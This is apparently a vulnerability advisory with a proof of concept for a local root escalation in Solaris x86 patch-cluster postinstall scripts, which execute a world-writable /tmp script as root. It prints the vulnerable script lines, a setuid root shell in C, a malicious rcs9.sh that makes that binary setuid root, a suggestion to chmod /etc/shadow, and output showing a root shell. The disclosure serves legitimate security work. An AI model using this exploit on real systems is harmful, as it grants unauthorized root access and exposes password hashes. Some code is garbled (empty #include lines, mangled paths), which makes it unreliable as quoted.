Solaris Recommended Patch Cluster 6/19 Local Root

`Solaris Recommended Patch Cluster 6/19 local root on x86  
  
Larry W. Cashdollar  
7/3/2013  
@_larry0  
If the system administrator is updating the system using update manager or smpatch (multi user mode) a local user could execute commands as root. This only affects x86 systems as this code resides under a case statement checking that the platform is intel based.  
Local root:  
Write to /tmp/diskette_rc.d/rcs9.sh before execution and you can execute commands as root.  
./144751-01/SUNWos86r/install/postinstall   
  
  
782 if [ -s /tmp/disketterc.d/rcs9.sh ]  
783 then  
784 /sbin/sh /tmp/disketterc.d/rcs9.sh "post"  
785 fi  
  
Inject entries into driver_aliases, research config file? maybe we can load our own library/driver?  
804 # Remove erroneous entry for Symbios Logic 53c875/95 (ncrs)  
805 TMPFILE=/tmp/ncrstmp  
806 sed -e '/^ncrs "pci1000,1000"$/d' ${BASEDIR}/etc/driveraliases >$TMPFIL  
E  
807 cp $TMPFILE ${BASEDIR}/etc/driver_aliases  
  
  
./141445-09/SUNWos86r/install/postinstall  
  
  
656 if [ -s /tmp/disketterc.d/rcs9.sh ]  
657 then  
658 /sbin/sh /tmp/disketterc.d/rcs9.sh "post"  
659 fi  
  
  
Well, it looks like you've got a few chances to abuse it:  
  
  
larry@slowaris:~/10x86Recommended/patches$ find . -name "*install" -type f -exec grep -l "/sbin/sh /tmp/diskette_rc.d/rcs9.sh" {} \;  
./144501-19/SUNWos86r/install/postinstall  
./141445-09/SUNWos86r/install/postinstall  
./142059-01/SUNWos86r/install/postinstall  
./147148-26/SUNWos86r/install/postinstall  
./127128-11/SUNWos86r/install/postinstall  
./148889-03/SUNWos86r/install/postinstall  
./142910-17/SUNWos86r/install/postinstall  
./144751-01/SUNWos86r/install/postinstall  
  
Psuedo PoC:  
Depending on how rcs9.sh is created, we can either write to it repeatedly or just create the file initially with our malicious entry.  
chmod 666 /etc/shadow would be easy.  
PoC:  
larry@slowaris:~$ cat setuid.c   
#include   
#include   
int  
main (void)  
{  
char *shell[2];  
shell[0] = "sh";  
shell[1] = NULL;  
setregid (0, 0);  
setreuid (0, 0);  
execve ("/bin/sh", shell, NULL);  
return(0);  
}  
gcc -o /tmp/r00t setuid.c  
larry@slowaris:~$ cat /tmp/diskette_rc.d/rcs9.sh chown root:root /tmp/r00t chmod +s /tmp/r00t  
After patches have been applied:  
larry@slowaris:~$ /tmp/r00t  
# id  
uid=0(root) gid=0(root)  
`